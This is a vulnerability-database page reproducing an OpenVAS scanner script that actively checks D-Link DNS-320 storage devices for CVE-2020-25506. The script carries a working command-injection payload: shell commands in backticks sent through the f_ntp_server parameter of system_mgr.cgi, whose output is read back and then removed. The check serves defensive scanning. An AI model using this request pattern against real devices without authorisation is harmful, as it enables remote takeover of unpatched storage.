D-Link DNS Devices RCE Vulnerability (SAP10183) - Active Check
🗓️ 03 Feb 2021 00:00:00Reported by Copyright (C) 2021 Greenbone AGType
openvas🔗 plugins.openvas.org👁 32 Views
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| CVE-2020-25506 | 2 Feb 202100:00 | – | attackerkb | |
| The vulnerability in the `system_mgr.cgi` script of the D-Link DNS-320 network storage software allows a hacker to execute arbitrary code. | 10 Nov 202100:00 | – | bdu_fstec | |
| CVE-2020-25506 | 2 Feb 202117:07 | – | circl | |
| D-Link DNS-320 Device Command Injection Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| D-Link DNS-320 命令注入漏洞 | 2 Feb 202100:00 | – | cnnvd | |
| D-Link DNS-320 Command Injection Vulnerability | 4 Feb 202100:00 | – | cnvd | |
| D-Link DNS-320 Command Injection (CVE-2020-25506) | 18 Feb 202100:00 | – | checkpoint_advisories | |
| CVE-2020-25506 | 2 Feb 202113:00 | – | cve | |
| CVE-2020-25506 | 2 Feb 202113:00 | – | cvelist | |
| D-Link Routers RCE (CVE-2020-25506) | 4 Nov 202200:00 | – | nessus |
10
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE_PREFIX = "cpe:/o:dlink:dns";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.145297");
script_version("2025-02-28T05:38:49+0000");
script_tag(name:"last_modification", value:"2025-02-28 05:38:49 +0000 (Fri, 28 Feb 2025)");
script_tag(name:"creation_date", value:"2021-02-03 04:52:42 +0000 (Wed, 03 Feb 2021)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2021-02-04 21:40:00 +0000 (Thu, 04 Feb 2021)");
script_cve_id("CVE-2020-25506");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("D-Link DNS Devices RCE Vulnerability (SAP10183) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2021 Greenbone AG");
script_family("General");
script_dependencies("gb_dlink_dns_http_detect.nasl");
script_mandatory_keys("d-link/dns/http/detected");
script_require_ports("Services/www", 80);
script_tag(name:"summary", value:"D-Link DNS-320 devices are prone to a remote code execution
(RCE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks the
responses.");
script_tag(name:"impact", value:"D-Link DNS-320 is affected by command injection in the
system_mgr.cgi component, which can lead to remote arbitrary code execution.");
script_tag(name:"affected", value:"D-Link DNS-320 and probably other DNS devices in all
versions.");
script_tag(name:"solution", value:"No solution was made available by the vendor. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.
The vendor states that the affected devices are EoL and recommends to immediately retire and
replace such devices.");
script_xref(name:"URL", value:"https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183");
script_xref(name:"URL", value:"https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!infos = get_app_port_from_cpe_prefix(cpe: CPE_PREFIX, service: "www"))
exit(0);
cpe = infos["cpe"];
port = infos["port"];
if (!get_app_location(cpe: cpe, port: port, nofork: TRUE))
exit(0);
cmds = exploit_commands("linux");
foreach pattern (keys(cmds)) {
vt_strings = get_vt_strings();
filename = vt_strings["default_rand"] + ".txt";
url = "/cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`" + cmds[pattern] + "%20>%20" + filename + "`";
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);
req = http_get(port: port, item: "/cgi-bin/" + filename);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
if (egrep(pattern: pattern, string: res)) {
report = 'It was possible to execute the "' + cmds[pattern] + '" command.\n\nResult:\n\n' + res;
security_message(port: port, data: report);
# Cleanup
url = "/cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`rm%20" + filename + "`";
req = http_get(port: port, item: url);
http_keepalive_send_recv(port: port, data: req);
exit(0);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Feb 2025 00:00Current
9.7Critical risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.99968
SSVC